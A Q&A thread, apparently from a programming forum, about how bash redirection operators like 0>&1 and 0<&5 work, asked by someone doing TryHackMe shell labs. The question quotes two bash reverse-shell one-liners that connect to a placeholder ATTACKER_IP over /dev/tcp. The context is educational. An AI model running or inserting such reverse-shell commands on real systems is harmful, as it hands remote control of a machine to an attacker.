I'm currently digging through some labs on tryhackme and found one that explains shells. They provided different examples of how to set up a reverse shell. I have a question regarding two of them:
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1
bash -i 5<> /dev/tcp/ATTACKER_IP/443 0<&5 1>&5 2>&5
In the first example, 0>&1
means "connect stdin wherever stdout is connected to". But in the second example, the less-than sign was used to connect stdin (0<&5
). Why is it not possible to use 0>&5
, which I would interpret as "connect stdin wherever 5 (the tcp connection) is connected to"?
I found out that <&1
is equal to 0>&1
and 1>&0
is equal to >&0
but I do not get why I can use 0>&1
but not 0>&5
.
Unfortunately, the Advanced Bash Scripting Guide (and all other resources on the internet) were not much help in answering this question.
In the first example,
0>&1
means "connect stdin wherever stdout is connected to".
Sort of. It means "make file descriptor 0 a duplicate of file descriptor 1", in exactly the sense of the Unix dup2()
system call, with the additional constraint that FD 1 must be open for output. For the duration of the resulting association, those two FDs can be used interchangeably. These particular file descriptors correspond the script's standard input and standard output, respectively, which makes this redirection unusual.
But in the second example, the less-than sign was used to connect stdin (
0<&5
).
Yes. This means the same thing as 0>&5
, except that instead of being constrained to being open for output, FD 5 is constrained to being open for input. The 0<&5
version is more conventional, as FD 0 is normally used only for reading. In your example, FD 5 is open for both reading and writing.
Why is it not possible to use
0>&5
, which I would interpret as "connect stdin wherever 5 (the tcp connection) is connected to"?
0>&5
is possible too, but it applies the wrong constraint for the mode (reading) in which FD 0 is normally used.
I found out that
<&1
is equal to0>&1
No. <&1
is equivalent to 0<&1
. Those are similar to 0>&1
, but not altogether equivalent. The latter can cause you trouble if FD is not readable, which sometimes is the case.
and
1>&0
is equal to>&0
Yes.
but I do not get why I can use
0>&1
but not0>&5
.
You can use 0>&1
, but you shouldn't.
Likewise, you indeed can use 0>&5
, but you shouldn't.
Using n>&1
or n>&5
conveys the idea that you intend to use FD n for output, and ensures that you can do so, but FD 0 is normally used only for input, so these both convey the wrong idea and perform the wrong check when n is 0.
You can find more information about these redirection operators in the Bash manual.